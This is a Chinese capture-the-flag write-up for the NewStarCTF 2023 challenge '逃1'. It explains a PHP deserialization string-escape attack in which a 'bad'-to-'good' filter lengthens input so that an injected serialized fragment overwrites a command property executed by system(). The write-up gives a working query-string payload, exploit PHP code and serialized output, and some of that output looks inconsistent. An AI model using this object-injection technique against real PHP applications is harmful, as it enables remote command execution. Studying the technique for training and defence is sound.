[NewStarCTF 2023 公开赛道]逃1

代码审计.

这段代码分为三部分:1.war函数,2.GetFlag类,3.GetFlag类对象的定义,waf过滤以及反序列化 .

很经典的的一道题,键值对逃逸,改变cmd的value,去获取flag.

而war就是我们的突破点(str_replace("bad","good",$str);).

开始构造payload

复制代码
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}

为什么这么构造呢?

让我们先来看一下未经过waf过滤后的value.

php 复制代码
<?php
 
class GetFlag {
    public $key;
    public $cmd = "whoami";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}
 
$g = new GetFlag('badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}');
echo serialize($g);
 
?>

value:

O:7:"GetFlag":2:{s:3:"key";O:7:"GetFlag":2:{s:3:"key";s:108:"badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}";s:3:"cmd";s:6:"whoami";}

我们只需要把上面的红色部分过滤掉就可以了,而过滤则通过waf来逃逸掉,waf可以把bad变成good,每一个bad就可以过滤一个char,绿色部分就是我们要过滤的数量为27,所以需要27个bad.

看一下过滤后的value.

exp:

php 复制代码
<?php
 
function waf($str){
    return str_replace("bad","good",$str);
}

class GetFlag {
    public $key;
    public $cmd = "whoami";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}
 
$g = new GetFlag('badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}');
echo serialize(waf(serialize(new GetFlag($g))));
 
?>

value:

s:246:"O:7:"GetFlag":2:{s:3:"key";O:7:"GetFlag":2:{s:3:"key";s:108:"goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood";s:3:"cmd";s:7:"cat /f*";}";s:3:"cmd";s:6:"whoami";}s:3:"cmd";s:6:"whoami";}";

此时反序列化时,红色部分就会被过滤掉.

获得flag,游戏结束~

相关推荐
向往着的青绿色28 分钟前
雷池(SafeLine)社区版免费部署教程|从环境检查到防护实操全流程
网络·计算机网络·nginx·网络安全·容器·网络攻击模型·信息与通信
波兰的蓝43 分钟前
CVE-2016-4437 Apache Shiro反序列化漏洞复现
web安全·网络安全
2401_865382502 小时前
GB/T22240-2020《信息安全技术 网络安全等级保护定级指南》标准解读
网络安全·信息安全·等保测评·标准·信息化项目
努力的lpp2 小时前
小迪安全课程第一节复习笔记
网络安全
free_733 小时前
超越“回答”,AI Agent迎来全链路安全治理挑战
人工智能·python·网络安全
努力的lpp3 小时前
小迪安全课程第二节复习笔记
网络安全
上海云盾-小余3 小时前
零信任安全落地实战:企业如何构建无边界可信访问体系
网络·安全·web安全·架构
谪星·阿凯4 小时前
从入门到拿Flag:XXE漏洞全解析
安全·web安全·网络安全
hwscom4 小时前
ChurchCRM SQL注入漏洞(CNVD-2026-12565、CVE-2026-24854)
sql·web安全
运维有小邓@5 小时前
文件分析如何检测文件安全漏洞?
网络·安全·web安全